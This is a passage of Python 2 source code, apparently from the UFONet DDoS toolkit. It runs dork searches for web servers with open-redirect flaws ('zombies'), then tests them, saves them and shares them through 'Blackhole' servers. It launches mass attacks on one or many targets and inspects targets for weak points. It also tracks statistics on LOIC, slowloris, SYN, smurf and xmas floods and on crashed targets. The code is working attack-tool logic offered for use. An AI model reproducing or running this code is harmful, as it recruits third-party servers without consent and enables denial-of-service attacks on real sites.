  471. backup_reply = "Y"
  472. if backup_reply == "n" or backup_reply == "N":
  473. print "\n[Info] [AI] Removing data stored and starting a new search...\n"
  474. os.remove(self.humans_file)
  475. zombies_restored = 0 # flush zombies restored
  476. print '-'*25 + "\n"
  477. else:
  478. print "\n[Info] [AI] Restoring data and starting a new search...\n"
  479. print '-'*25 + "\n"
  480. for zombie in restored:
  481. zombies.append(zombie) # add previous data to zombies pool
  482. if options.allengines:
  483. for e in self.search_engines:
  484. engine = e
  485. print '='*44
  486. print("\n[AI] Searching for zombies using: "+engine+'\n')
  487. print '='*44 + '\n'
  488. self.options.engine = engine
  489. try:
  490. zombies_chain = self.search_zombies(dork='', zombies_found=zombies)
  491. if zombies_chain != None:
  492. for zombie in zombies_chain:
  493. if zombie not in zombies: # evade possible repetitions
  494. zombies.append(zombie)
  495. except:
  496. if zombies: # backup all new zombies found to file in case of exception
  497. for zombie in zombies:
  498. if zombie+os.linesep not in restored: # only append new zombies found
  499. with open(self.humans_file, "a") as f:
  500. f.write(str(zombie+os.linesep))
  501. else:
  502. if restored:
  503. print '='*44
  504. print("\n[AI] Searching for zombies using: "+engine+"\n")
  505. print '='*44 + '\n'
  506. if restored: # from restored file
  507. try:
  508. zombies_chain = self.search_zombies(dork='', zombies_found=zombies)
  509. if zombies_chain != None:
  510. for zombie in zombies_chain:
  511. if zombie not in zombies: # evade possible repetitions
  512. zombies.append(zombie)
  513. except:
  514. if zombies: # backup all new zombies found to file in case of exception
  515. for zombie in zombies:
  516. if zombie+os.linesep not in restored: # only append new zombies found
  517. with open(self.humans_file, "a") as f:
  518. f.write(str(zombie+os.linesep))
  519. else:
  520. try:
  521. zombies = self.search_zombies(dork='', zombies_found=zombies)
  522. except:
  523. if zombies: # backup all new zombies found to file in case of exception
  524. for zombie in zombies:
  525. if zombie+os.linesep not in restored: # only append new zombies found
  526. with open(self.humans_file, "a") as f:
  527. f.write(str(zombie+os.linesep))
  528. total_restored = zombies_restored
  529. new_zombies = 0 # new zombies counter
  530. f = open(self.zombies_file, 'r')
  531. zz = f.readlines()
  532. f.close()
  533. zombies_found = []
  534. for z in zombies:
  535. if z.endswith(os.linesep):
  536. z = z.replace(os.linesep, "")
  537. if z not in zz and z+os.linesep not in zz:
  538. new_zombies = new_zombies + 1
  539. zombies_found.append(z)
  540. print '='*62
  541. print "\n- Victims found:", len(zombies_found), "\n"
  542. print " - Restored:", total_restored
  543. print " - Dorked:", len(zombies_found) - total_restored, "\n"
  544. print '-'*32
  545. print "\n- NEW possible zombies (NOT present in your army):", new_zombies, "\n"
  546. print '='*62 + '\n'
  547. if len(zombies) > 0:
  548. if not self.options.forceyes:
  549. check_backup_reply = raw_input("[AI] Do you want to save the results for a future search? (Y/n)\n")
  550. print '-'*25
  551. else:
  552. check_backup_reply = "Y"
  553. if check_backup_reply == "n" or check_backup_reply == "N":
  554. if os.path.isfile(self.humans_file):
  555. os.remove(self.humans_file) # remove search backup file (keeping love from shadows!)
  556. print "\n[Info] [AI] Temporal data correctly removed...\n"
  557. else:
  558. with open(self.humans_file, "w") as f:
  559. for z in zombies_found:
  560. if z.endswith(os.linesep):
  561. z = z.replace(os.linesep, "")
  562. if z not in zz or z+os.linesep not in zz:
  563. f.write(z+os.linesep)
  564. f.close()
  565. print "\n[Info] [AI] Correctly saved at: 'botnet/humans.txt'\n"
  566. print '-'*25 + "\n"
  567. if new_zombies and new_zombies > 0:
  568. if not self.options.forceyes:
  569. check_url_link_reply = raw_input("[AI] Do you want to check if NEW possible zombies are valid? (Y/n)\n")
  570. print '-'*25 + "\n"
  571. else:
  572. check_url_link_reply = "Y"
  573. if check_url_link_reply == "n" or check_url_link_reply == "N":
  574. print "[AI] "+self.exit_msg+"\n"
  575. pass
  576. else:
  577. print "\n" + '='*44
  578. test = self.testing(zombies_found)
  579. else:
  580. print "[Info] [AI] NOT any NEW possible zombies found -> [Exiting!]\n"
  581. except Exception:
  582. print ("\n[Error] [AI] Something wrong searching using: "+engine+"\n")
  583. # search for [Zombies] from a list of [Dorks]
  584. if options.dorks:
  585. if options.engine:
  586. engine = options.engine
  587. else:
  588. engine = "yahoo" # default search engine
  589. try:
  590. dorks = self.extract_dorks()
  591. if not dorks:
  592. return
  593. zombies = []
  594. self.banner()
  595. if not os.path.exists(self.humans_file) == True:
  596. f = open(self.humans_file, 'w')
  597. f.close()
  598. lf = open(self.humans_file, 'r')
  599. restored = lf.readlines()
  600. zombies_restored = len(restored)
  601. lf.close()
  602. lz = open(self.zombies_file, 'r')
  603. zombies_army = lz.readlines()
  604. for zombie in zombies_army:
  605. zombies.append(zombie) # add zombies from army to the zombies pool
  606. lz.close()
  607. if len(restored) > 0:
  608. print "\n[Info] [AI] You have [" + str(len(restored)) + " possible zombies] stored from a previous search...\n"
  609. if not self.options.forceyes:
  610. backup_reply = raw_input("[AI] Do you want to resume it? (NOTE: If not, this DATA will be REMOVED) (Y/n)\n")
  611. print '-'*25
  612. else:
  613. backup_reply = "Y"
  614. if backup_reply == "n" or backup_reply == "N":
  615. print "\n[Info] [AI] Removing data stored and starting a new search...\n"
  616. os.remove(self.humans_file)
  617. zombies_restored = 0 # flush zombies restored
  618. print '-'*25 + "\n"
  619. else:
  620. print "\n[Info] [AI] Restoring data and starting a new search...\n"
  621. print '-'*25 + "\n"
  622. for zombie in restored:
  623. zombies.append(zombie) # add previous data to zombies pool
  624. total_restored = zombies_restored
  625. if options.allengines:
  626. for e in self.search_engines:
  627. engine = e
  628. print '='*44
  629. print("\n[AI] Searching for zombies using: "+engine+ " [from a list of [Dorks]]\n")
  630. print '='*44 + '\n'
  631. self.options.engine = engine
  632. for dork in dorks:
  633. print '='*22
  634. print "Dork:", dork
  635. print '='*22 + '\n'
  636. try:
  637. dorked_zombies = self.search_zombies(dork, zombies) # AI mode
  638. for zombie in dorked_zombies:
  639. if zombie not in zombies: # evade repetitions for zombies found
  640. zombies.append(zombie)
  641. if zombie+os.linesep not in restored: # only append new zombies found
  642. with open(self.humans_file, "a") as f:
  643. f.write(str(zombie+os.linesep))
  644. f.close()
  645. except:
  646. if zombies: # backup new zombies found on exception
  647. for zombie in zombies:
  648. if zombie+os.linesep not in restored: # only append new zombies found
  649. with open(self.humans_file, "a") as f:
  650. f.write(str(zombie+os.linesep))
  651. f.close()
  652. else:
  653. if restored:
  654. print '='*44
  655. print("\n[AI] Searching for zombies using: "+engine+ " from a list of [Dorks]\n")
  656. print '='*44 + '\n'
  657. for dork in dorks:
  658. print '='*22
  659. print "Dork:", dork
  660. print '='*22 + '\n'
  661. try:
  662. dorked_zombies = self.search_zombies(dork, zombies) # AI mode
  663. if dorked_zombies != None:
  664. for zombie in dorked_zombies:
  665. if zombie not in zombies: # evade repetitions for zombies found
  666. zombies.append(zombie)
  667. except:
  668. if zombies: # backup new zombies found on exception
  669. for zombie in zombies:
  670. if zombie+os.linesep not in restored: # only append new zombies found
  671. with open(self.humans_file, "a") as f:
  672. f.write(str(zombie+os.linesep))
  673. f.close()
  674. new_zombies = 0 # new zombies counter
  675. f = open(self.zombies_file, 'r')
  676. zz = f.readlines()
  677. f.close()
  678. zombies_found = []
  679. for z in zombies:
  680. if z.endswith(os.linesep):
  681. z = z.replace(os.linesep, "")
  682. if z not in zz and z+os.linesep not in zz:
  683. new_zombies = new_zombies + 1
  684. zombies_found.append(z)
  685. print '='*62
  686. print "\n- Victims found:", len(zombies_found), "\n"
  687. print " - Restored:", total_restored
  688. print " - Dorked:", len(zombies_found) - total_restored, "\n"
  689. print '-'*32
  690. print "\n- NEW possible zombies (NOT present in your army):", new_zombies, "\n"
  691. print '='*62 + '\n'
  692. if len(zombies_found) > 0:
  693. if not self.options.forceyes:
  694. check_backup_reply = raw_input("[AI] Do you want to save the results for a future search? (Y/n)\n")
  695. print '-'*25
  696. else:
  697. check_backup_reply = "Y"
  698. if check_backup_reply == "n" or check_backup_reply == "N":
  699. if os.path.isfile(self.humans_file):
  700. os.remove(self.humans_file) # remove search backup file (keeping love from shadows!)
  701. print "\n[Info] [AI] Temporal data correctly removed...\n"
  702. else:
  703. with open(self.humans_file, "w") as f:
  704. for z in zombies_found:
  705. if z.endswith(os.linesep):
  706. z = z.replace(os.linesep, "")
  707. if z not in zz or z+os.linesep not in zz:
  708. f.write(z+os.linesep)
  709. f.close()
  710. print "\n[Info] [AI] Correctly saved at: 'botnet/humans.txt'\n"
  711. print '-'*25 + "\n"
  712. if new_zombies and new_zombies > 0:
  713. if not self.options.forceyes:
  714. check_url_link_reply = raw_input("[AI] Do you want to check if NEW possible zombies are valid? (Y/n)\n")
  715. print '-'*25 + "\n"
  716. else:
  717. check_url_link_reply = "Y"
  718. if check_url_link_reply == "n" or check_url_link_reply == "N":
  719. print "[AI] "+self.exit_msg+"\n"
  720. pass
  721. else:
  722. print "\n" + '='*44
  723. test = self.testing(zombies_found)
  724. else:
  725. print "[Info] [AI] NOT any NEW possible zombies found! -> [Exiting!]\n"
  726. except Exception:
  727. print ("\n[Error] [AI] Something wrong searching using: "+engine+"\n")
  728. # auto-search for [Zombies] (dorks+all_engines+time -> to discover max new zombies)
  729. if options.autosearch:
  730. try:
  731. dorks = self.extract_dorks()
  732. except:
  733. print "\n[Info] [AI] Not any dork present at: 'botnet/dorks.txt' -> [Aborting!]\n"
  734. return
  735. engines_list = self.search_engines
  736. stop_flag = False # use a flag to establish an end
  737. try:
  738. self.banner()
  739. print "\n[AI] Searching automatically for [Zombies] (WARNING: this may take several time!)\n"
  740. print "[Info] Try to use CTRL+z (on shell) to STOP IT! ;-)\n"
  741. print '-'*25 + "\n"
  742. zombies_found = []
  743. lz = open(self.zombies_file, 'r')
  744. zombies_army = lz.readlines()
  745. for zombie in zombies_army:
  746. zombies_found.append(zombie) # add zombies from army to the zombies found pool
  747. lz.close()
  748. if not os.path.exists(self.humans_file) == True:
  749. f = open(self.humans_file, 'w')
  750. f.close()
  751. lf = open(self.humans_file, 'r')
  752. restored = lf.readlines()
  753. zombies_restored = len(restored)
  754. lf.close()
  755. if len(restored) > 0:
  756. print "[Info] [AI] You have [" + str(len(restored)) + " possible zombies] stored from a previous search...\n"
  757. if not self.options.forceyes:
  758. backup_reply = raw_input("[AI] Do you want to resume it? (NOTE: If not, this DATA will be REMOVED) (Y/n)\n")
  759. print '-'*25
  760. else:
  761. backup_reply = "Y"
  762. if backup_reply == "n" or backup_reply == "N":
  763. print "\n[Info] [AI] Removing data stored and starting a new (auto)search...\n"
  764. os.remove(self.humans_file)
  765. zombies_restored = 0 # flush zombies restored
  766. print '-'*25 + "\n"
  767. else:
  768. print "\n[Info] [AI] Restoring data and starting a new (auto)search...\n"
  769. print '-'*25 + "\n"
  770. for zombie in restored:
  771. zombies_found.append(zombie) # add previous data to zombies found pool
  772. total_restored = zombies_restored
  773. while stop_flag == False:
  774. if not os.path.exists(self.humans_file) == True:
  775. f = open(self.humans_file, 'w')
  776. f.close()
  777. lf = open(self.humans_file, 'r') # read it on each iteration to update changes
  778. restored = lf.readlines()
  779. lf.close()
  780. zombies_restored = len(restored)
  781. for e in engines_list:
  782. zombies_counter = 0 # use it also as (engine) flag
  783. engine = e
  784. self.options.engine = engine
  785. print '='*44 + '\n'
  786. print("[AI] Searching for zombies using: "+engine+'\n')
  787. print '='*44 + '\n'
  788. for dork in dorks:
  789. print '='*22
  790. print "Dork:", dork
  791. print '='*22 + '\n'
  792. try:
  793. dorked_zombies = self.search_zombies(dork, zombies_found) # AI mode
  794. for zombie in dorked_zombies:
  795. if zombie not in zombies_found: # evade repetitions for zombies found
  796. zombies_found.append(zombie)
  797. if zombie+os.linesep not in restored: # only append new zombies found
  798. with open(self.humans_file, "a") as f:
  799. f.write(str(zombie+os.linesep))
  800. f.close()
  801. zombies_counter = zombies_counter + 1
  802. except:
  803. if zombies_found: # backup new zombies found on exception
  804. for zombie in zombies_found:
  805. if zombie+os.linesep not in restored: # only append new zombies found
  806. with open(self.humans_file, "a") as f:
  807. f.write(str(zombie+os.linesep))
  808. f.close()
  809. if zombies_counter == 0:
  810. print "[Info] [AI] NOT more NEW victims found (by the moment) using: "+engine+" -> [Discarding!]\n"
  811. print '-'*25 + "\n"
  812. engines_list.remove(engine) # remove not more results engine from search engines list
  813. if not engines_list: # if search engines empty, call return-exit routine
  814. print "[Info] [AI] Search engines aren't providing more results -> [Exiting!]\n"
  815. print '-'*25 + "\n"
  816. stop_flag = True # exit flag up
  817. new_zombies = 0 # new zombies counter
  818. f = open(self.zombies_file, 'r')
  819. zz = f.readlines()
  820. f.close()
  821. all_zombies_found = []
  822. for z in zombies_found:
  823. if z.endswith(os.linesep):
  824. z = z.replace(os.linesep, "")
  825. if z not in zz and z+os.linesep not in zz:
  826. new_zombies = new_zombies + 1
  827. all_zombies_found.append(z)
  828. print '='*62
  829. print "\n- Victims found:", len(all_zombies_found), "\n"
  830. print " - Restored:", total_restored
  831. print " - Dorked:", len(all_zombies_found) - total_restored, "\n"
  832. print '-'*32
  833. print "\n- NEW possible zombies (NOT present in your army):", new_zombies, "\n"
  834. print '='*62 + '\n'
  835. if len(zombies_found) > 0:
  836. if not self.options.forceyes:
  837. check_backup_reply = raw_input("[AI] Do you want to save the results for a future search? (Y/n)\n")
  838. print '-'*25
  839. else:
  840. check_backup_reply = "Y"
  841. if check_backup_reply == "n" or check_backup_reply == "N":
  842. if os.path.isfile(self.humans_file):
  843. os.remove(self.humans_file) # remove search backup file (keeping love from shadows!)
  844. print "\n[Info] [AI] Temporal data correctly removed...\n"
  845. else:
  846. with open(self.humans_file, "w") as f:
  847. for z in all_zombies_found:
  848. if z.endswith(os.linesep):
  849. z = z.replace(os.linesep, "")
  850. if z not in zz or z+os.linesep not in zz:
  851. f.write(z+os.linesep)
  852. f.close()
  853. print "\n[Info] [AI] Correctly saved at: 'botnet/humans.txt'\n"
  854. print '-'*25 + "\n"
  855. if new_zombies and new_zombies > 0:
  856. if not self.options.forceyes:
  857. check_url_link_reply = raw_input("[AI] Do you want to check if NEW possible zombies are valid? (Y/n)\n")
  858. print '-'*25 + "\n"
  859. else:
  860. check_url_link_reply = "Y"
  861. if check_url_link_reply == "n" or check_url_link_reply == "N":
  862. print "[AI] "+self.exit_msg+"\n"
  863. pass
  864. else:
  865. print "\n" + '='*44
  866. test = self.testing(all_zombies_found)
  867. else:
  868. print "[Info] [AI] NOT any NEW possible zombies found! -> [Exiting!]\n"
  869. except Exception:
  870. print ("[Error] [AI] Something wrong (auto)searching...\n")
  871. # test web 'zombie' servers -> show statistics
  872. if options.test:
  873. try:
  874. self.banner()
  875. zombies = self.extract_zombies()
  876. if not zombies:
  877. return
  878. test = self.testing(zombies)
  879. self.update_missions_stats() # update mothership missions stats
  880. except Exception:
  881. print ("\n[Error] [AI] Something wrong testing!\n")
  882. if self.options.verbose:
  883. traceback.print_exc()
  884. # test XML-'rpc' pingback vulnerable servers -> update list
  885. if options.testrpc:
  886. try:
  887. self.banner()
  888. rpcs = self.extract_rpcs()
  889. if not rpcs:
  890. return
  891. testrpc = self.testing_rpcs(rpcs)
  892. self.update_missions_stats() # update mothership missions stats
  893. except Exception:
  894. print ("\n[Error] [AI] Something wrong testing X-RPCs!\n")
  895. if self.options.verbose:
  896. traceback.print_exc()
  897. # check botnet searching for zombies offline
  898. if options.testoffline:
  899. try:
  900. self.banner()
  901. testbotnet = self.testing_offline()
  902. self.update_missions_stats() # update mothership missions stats
  903. except Exception:
  904. print ("\n[Error] [AI] Something wrong checking for offline [Zombies]!\n")
  905. if self.options.verbose:
  906. traceback.print_exc()
  907. # check ALL botnet status
  908. if options.testall:
  909. try:
  910. self.banner()
  911. test_all_botnet = self.testing_all()
  912. self.update_missions_stats() # update mothership missions stats
  913. except Exception:
  914. print ("\n[Error] [AI] Something wrong testing ALL botnet status!\n")
  915. if self.options.verbose:
  916. traceback.print_exc()
  917. # attack target -> exploit Open Redirect massively and conduct vulnerable servers to a single target
  918. if options.target:
  919. try:
  920. self.banner()
  921. zombies = self.extract_zombies()
  922. if not zombies:
  923. return
  924. attack = self.attacking(zombies, options.target)
  925. self.update_missions_stats() # update mothership missions stats
  926. except Exception:
  927. print ("\n[Error] [AI] Something wrong attacking!\n")
  928. if self.options.verbose:
  929. traceback.print_exc()
  930. # attack a list of targets -> exploit Open Redirect massively and conduct vulnerable servers to multiple targets
  931. if options.target_list:
  932. try:
  933. self.banner()
  934. zombies = self.extract_zombies()
  935. if not zombies:
  936. return
  937. targets = self.extract_target_list()
  938. if not targets:
  939. print "\n[Error] [AI] You haven't any valid [Target] to be extracted from: "+str(options.target_list)+" -> [Exiting!]\n"
  940. return
  941. self.options.forceyes = True # force-yes ON!
  942. self.num_target_list = 0
  943. print "\n[AI] Checking integrity of targets...\n"
  944. for t in targets: # start of code block dedicated to: Guido van Rossum [23/12/2018]
  945. if not t.startswith("http"): # discarded inmediately
  946. print "[Info] [AI] [Control] " + str(t) + " -> [Discarding!]"
  947. targets.remove(t) # ¿remove? invalid targets
  948. print ""
  949. c = 0
  950. for target in targets:
  951. if target == "":
  952. c = c + 1
  953. else:
  954. self.num_target_list = self.num_target_list + 1
  955. if c == len(targets):
  956. print "\n[Error] [AI] You haven't any valid [Target] to be extracted from: "+str(options.target_list)+" -> [Exiting!]\n"
  957. return # end of code block dedicated to: Guido van Rossum [23/12/2018]
  958. else:
  959. for target in targets:
  960. print '='*55 + "\n"
  961. print "[Info] [AI] Aiming: " + str(target) + " -> [OK!]\n"
  962. print "="*55
  963. self.options.target = target
  964. attack = self.attacking(zombies, target)
  965. self.update_missions_stats() # update mothership missions stats (each target counts)
  966. except Exception:
  967. print ("\n[Error] [AI] Something wrong attacking to multiple targets!\n")
  968. if self.options.verbose:
  969. traceback.print_exc()
  970. # inspect target -> inspect target's components sizes
  971. if options.inspect:
  972. try:
  973. self.banner()
  974. print("\n[AI] Inspecting target to find the best place to attack... SSssh!\n")
  975. print '='*22 + '\n'
  976. self.instance = Inspector(self) # instance main class for inspection operations
  977. inspection = self.instance.inspecting(options.inspect)
  978. self.update_missions_stats() # update mothership missions stats
  979. except Exception, e:
  980. print ("\n[Error] [AI] Something wrong inspecting... Not any object found!\n")
  981. if self.options.verbose:
  982. traceback.print_exc()
  983. return #sys.exit(2)
  984. # abduct target -> examine target's webserver configuration (banner grabbing, anti-ddos, etc.)
  985. if options.abduction:
  986. try:
  987. self.banner()
  988. print("\n[AI] Abducting target to extract interesting information... Be patient!\n")
  989. print '='*22 + '\n'
  990. self.instance = Abductor(self) # instance main class for abduction operations
  991. abduction = self.instance.abducting(options.abduction)
  992. self.update_missions_stats() # update mothership missions stats
  993. except Exception, e:
  994. print ("\n[Error] [AI] Something wrong abducting... Not any data stream found!\n")
  995. if self.options.verbose:
  996. traceback.print_exc()
  997. return #sys.exit(2)
  998. # attack me -> exploit Open Redirect massively and connect all vulnerable servers to master for benchmarking
  999. if options.attackme:
  1000. self.mothership_id = self.mothership_id[:25] # truncating anti-formats ;-)
  1001. try:
  1002. self.banner()
  1003. print("\n[AI] Ordering [Zombies] to attack you for benchmarking ;-)\n")
  1004. print("[Warning] You are going to reveal your real IP to [Zombies]!\n")
  1005. if not self.options.forceyes:
  1006. update_reply = raw_input("[AI] Do you want to continue? (Y/n)")
  1007. else:
  1008. update_reply = "Y"
  1009. if update_reply == "n" or update_reply == "N":
  1010. print "\n[Info] [AI] [Control] Aborting 'Attack-Me' test... -> [Exiting!]\n"
  1011. return
  1012. self.mothership_hash = str(random.getrandbits(128)) # generating random evasion hash
  1013. print "\nMothership ID: " + self.mothership_id + "RND: " + self.mothership_hash
  1014. print("\n[AI] Checking NAT/IP configuration:\n")
  1015. nat = self.check_nat()
  1016. f = open("alien", "w") # generate random alien worker
  1017. f.write(str(self.mothership_hash))
  1018. f.close()
  1019. if self.nat_error_flag == "ON":
  1020. return
  1021. zombies = self.extract_zombies()
  1022. if not zombies:
  1023. return
  1024. attackme = self.attackme(zombies)
  1025. self.update_missions_stats() # update mothership missions stats
  1026. except Exception, e:
  1027. print ("\n[Error] [AI] Something wrong redirecting [Zombies] against you...\n")
  1028. if self.options.verbose:
  1029. traceback.print_exc()
  1030. return #sys.exit(2)
  1031. # check/update for latest stable version
  1032. if options.update:
  1033. self.banner()
  1034. try:
  1035. print("\n[AI] Trying to update automatically to the latest stable version\n")
  1036. Updater()
  1037. except:
  1038. print "Not any .git repository found!\n"
  1039. print "="*30
  1040. print "\nTo have working this feature, you should clone UFONet with:\n"
  1041. print "$ git clone %s" % self.GIT_REPOSITORY
  1042. print "\nAlso you can try this other mirror:\n"
  1043. print "$ git clone %s" % self.GIT_REPOSITORY2 + "\n"
  1044. # launch GUI/Web interface
  1045. if options.web:
  1046. self.create_web_interface()
  1047. return
  1048. # generate [Blackhole] server to share [Zombies]
  1049. if options.blackhole is not None:
  1050. self.banner()
  1051. try:
  1052. blackhole_lib = os.path.abspath(os.path.join('..', 'server')) # add [Blackhole] lib
  1053. sys.path.append(blackhole_lib)
  1054. from server.blackhole import BlackHole
  1055. print("\n[AI] Initiating void generation sequence...\n")
  1056. print '='*22 + '\n'
  1057. app = BlackHole()
  1058. app.start()
  1059. while True: time.sleep(1)
  1060. except KeyboardInterrupt:
  1061. print("\n[AI] Terminating void generation sequence...\n")
  1062. app.collapse()
  1063. except Exception, e:
  1064. print "[Error] "+str(e)
  1065. print("\n[AI] Something was wrong generating [Blackhole]. Aborting...\n")
  1066. # download list of [Zombies] from a [Blackhole] IP
  1067. if options.dip is not None:
  1068. options.download = True
  1069. self.blackhole = options.dip
  1070. # download list of [Zombies] from server
  1071. if options.download:
  1072. try:
  1073. self.banner()
  1074. if options.dip is not None:
  1075. print("\n[AI] Downloading list of [Zombies] from server "+self.blackhole+" ...\n")
  1076. else:
  1077. print("\n[AI] Downloading list of [Zombies] from server ...\n")
  1078. print '='*22 + '\n'
  1079. download_list = self.downloading_list()
  1080. except Exception, e:
  1081. print ("\n[Error] [AI] Something wrong downloading! -> [Exiting!]\n")
  1082. return
  1083. # upload list of [Zombies] to a [Blackhole] IP
  1084. if options.upip is not None:
  1085. options.upload = True
  1086. self.blackhole = options.upip
  1087. # upload list of [Zombies] to server
  1088. if options.upload:
  1089. try:
  1090. self.banner()
  1091. if options.upip is not None:
  1092. print("\n[AI] Uploading list of [Zombies] to server "+self.blackhole+" ...\n")
  1093. else:
  1094. print("\n[AI] Uploading list of [Zombies] to server ...\n")
  1095. print '='*22 + '\n'
  1096. upload_list = self.uploading_list()
  1097. except Exception, e:
  1098. print ("[Error] [AI] Something wrong uploading! "+str(e)+" -> [Exiting!]\n")
  1099. if self.options.verbose:
  1100. traceback.print_exc()
  1101. return #sys.exit(2)
  1102. # starting new zombie thread
  1103. def connect_zombies(self, zombie):
  1104. z=Zombie(self, zombie)
  1105. t = threading.Thread(target=z.connect, name=zombie)
  1106. t.start()
  1107. # single connection handling
  1108. def connect_zombie(self, zombie):
  1109. z=Zombie(self,zombie)
  1110. return z.connect()
  1111. def extract_proxy(self, proxy):
  1112. sep = ":"
  1113. proxy_ip = proxy.rsplit(sep, 1)[0]
  1114. if proxy_ip.startswith('http://'):
  1115. proxy_ip = proxy_ip.replace('http://', '')
  1116. elif proxy_ip.startswith('https://'):
  1117. proxy_ip = proxy_ip.replace('https://', '')
  1118. if proxy_ip == '127.0.0.1': # working by using 'localhost' as http proxy (privoxy, ...)
  1119. proxy_ip = 'localhost'
  1120. proxy_port = proxy.rsplit(sep, 1)[1]
  1121. proxy_url = proxy_ip + ":" + proxy_port # ex: localhost:8118
  1122. return proxy_url
  1123. def proxy_transport(self, proxy):
  1124. proxy_url = self.extract_proxy(proxy)
  1125. proxy = urllib2.ProxyHandler({'https': proxy_url})
  1126. opener = urllib2.build_opener(proxy)
  1127. urllib2.install_opener(opener)
  1128. def check_mothership_chargo(self):
  1129. f = open(self.zombies_file)
  1130. self.zombies = f.readlines()
  1131. self.zombies = [zombie.replace('\n', '') for zombie in self.zombies]
  1132. self.list_zombies = []
  1133. for zombie in self.zombies:
  1134. t = urlparse(zombie)
  1135. name_zombie = t.netloc
  1136. if name_zombie == "":
  1137. name_zombie = zombie
  1138. self.list_zombies.append(name_zombie)
  1139. self.num_zombies = str(len(self.zombies))
  1140. f.close()
  1141. f = open(self.aliens_file)
  1142. self.aliens = f.readlines()
  1143. self.aliens = [alien.replace('\n', '') for alien in self.aliens]
  1144. self.list_aliens = []
  1145. for alien in self.aliens:
  1146. t = urlparse(alien)
  1147. name_alien = t.netloc
  1148. if name_alien == "":
  1149. name_alien = alien
  1150. self.list_aliens.append(name_alien)
  1151. self.num_aliens = str(len(self.aliens))
  1152. f.close()
  1153. f = open(self.droids_file)
  1154. self.droids = f.readlines()
  1155. self.droids = [droid.replace('\n', '') for droid in self.droids]
  1156. self.list_droids = []
  1157. for droid in self.droids:
  1158. t = urlparse(droid)
  1159. name_droid = t.netloc
  1160. if name_droid == "":
  1161. name_droid = droid
  1162. self.list_droids.append(name_droid)
  1163. self.num_droids = str(len(self.droids))
  1164. f.close()
  1165. f = open(self.ucavs_file)
  1166. self.ucavs = f.readlines()
  1167. self.ucavs = [ucav.replace('\n', '') for ucav in self.ucavs]
  1168. self.list_ucavs = []
  1169. for ucav in self.ucavs:
  1170. t = urlparse(ucav)
  1171. name_ucav = t.netloc
  1172. if name_ucav == "":
  1173. name_ucav = ucav
  1174. self.list_ucavs.append(name_ucav)
  1175. self.num_ucavs = str(len(self.ucavs))
  1176. f.close()
  1177. f = open(self.rpcs_file)
  1178. self.rpcs = f.readlines()
  1179. self.rpcs = [rpc.replace('\n', '') for rpc in self.rpcs]
  1180. self.list_rpcs = []
  1181. for rpc in self.rpcs:
  1182. t = urlparse(rpc)
  1183. name_rpc = t.netloc
  1184. if name_rpc == "":
  1185. name_rpc = rpc
  1186. self.list_rpcs.append(name_rpc)
  1187. self.num_rpcs = str(len(self.rpcs))
  1188. f.close()
  1189. self.total_botnet = str(int(self.num_zombies) + int(self.num_aliens) + int(self.num_droids) + int(self.num_ucavs) + int(self.num_rpcs))
  1190. return self.total_botnet
  1191. def update_flying_stats(self):
  1192. if not os.path.exists(self.mothership_stats_file) == True: # create data when no stats file (first time used)
  1193. with open(self.mothership_stats_file, "w") as f:
  1194. json.dump({"flying": "0", "missions": "0", "scanner": "0", "transferred": "0", "max_chargo": "0", "completed": "0", "loic": "0", "loris": "0", "ufosyn": "0", "spray": "0", "smurf": "0", "xmas": "0", "crashed": "0"}, f, indent=4) # starting reset
  1195. stats_json_file = open(self.mothership_stats_file, "r")
  1196. data = json.load(stats_json_file)
  1197. stats_json_file.close()
  1198. aflying = data["flying"]
  1199. aflying = str(int(aflying) + 1) # add new flying time
  1200. data["flying"] = aflying
  1201. stats_json_file = open(self.mothership_stats_file, "w+")
  1202. stats_json_file.write(json.dumps(data))
  1203. stats_json_file.close()
  1204. def update_mothership_stats(self):
  1205. stats_json_file = open(self.mothership_stats_file, "r")
  1206. data = json.load(stats_json_file)
  1207. stats_json_file.close()
  1208. acompleted = data["completed"]
  1209. acompleted = str(int(acompleted) + 1) # add new completed attack
  1210. data["completed"] = acompleted
  1211. stats_json_file = open(self.mothership_stats_file, "w+")
  1212. stats_json_file.write(json.dumps(data))
  1213. stats_json_file.close()
  1214. def update_targets_crashed(self):
  1215. stats_json_file = open(self.mothership_stats_file, "r")
  1216. data = json.load(stats_json_file)
  1217. stats_json_file.close()
  1218. tcrashed = data["crashed"]
  1219. tcrashed = str(int(tcrashed) + 1) # add new crashed target
  1220. data["crashed"] = tcrashed
  1221. stats_json_file = open(self.mothership_stats_file, "w+")
  1222. stats_json_file.write(json.dumps(data))
  1223. stats_json_file.close()
  1224. def update_missions_stats(self):
  1225. stats_json_file = open(self.mothership_stats_file, "r")
  1226. data = json.load(stats_json_file)
  1227. stats_json_file.close()
  1228. missions = data["missions"]
  1229. missions = str(int(missions) + 1) # add new mission target
  1230. data["missions"] = missions
  1231. stats_json_file = open(self.mothership_stats_file, "w+")
  1232. stats_json_file.write(json.dumps(data))
  1233. stats_json_file.close()
  1234. def update_scanner_stats(self, num):
  1235. stats_json_file = open(self.mothership_stats_file, "r")
  1236. data = json.load(stats_json_file)
  1237. stats_json_file.close()
  1238. scanner = data["scanner"]
  1239. scanner = str(int(scanner) + int(num)) # add new zombies found by dorking to mothership stats
  1240. data["scanner"] = scanner
  1241. stats_json_file = open(self.mothership_stats_file, "w+")
  1242. stats_json_file.write(json.dumps(data))
  1243. stats_json_file.close()
  1244. def update_transferred_stats(self, num):
  1245. stats_json_file = open(self.mothership_stats_file, "r")
  1246. data = json.load(stats_json_file)
  1247. stats_json_file.close()
  1248. transferred = data["transferred"]
  1249. transferred = str(int(transferred) + int(num)) # add new zombies found by downloading via blackholes to mothership stats
  1250. data["transferred"] = transferred
  1251. stats_json_file = open(self.mothership_stats_file, "w+")
  1252. stats_json_file.write(json.dumps(data))
  1253. stats_json_file.close()
  1254. def update_max_chargo(self, chargo):
  1255. stats_json_file = open(self.mothership_stats_file, "r")
  1256. data = json.load(stats_json_file)
  1257. stats_json_file.close()
  1258. amax_chargo = data["max_chargo"]
  1259. if int(chargo) > int(amax_chargo): # new max chargo found
  1260. amax_chargo = chargo # add new max chargo
  1261. else:
  1262. amax_chargo = data["max_chargo"]
  1263. data["max_chargo"] = amax_chargo
  1264. stats_json_file = open(self.mothership_stats_file, "w+")
  1265. stats_json_file.write(json.dumps(data))
  1266. stats_json_file.close()
  1267. def update_loic_stats(self):
  1268. stats_json_file = open(self.mothership_stats_file, "r")
  1269. data = json.load(stats_json_file)
  1270. stats_json_file.close()
  1271. aloic = data["loic"]
  1272. aloic = str(int(aloic) + 1) # add new loic attack to recorded stats
  1273. self.total_loic = self.total_loic + 1 # add new loic attack to session stats
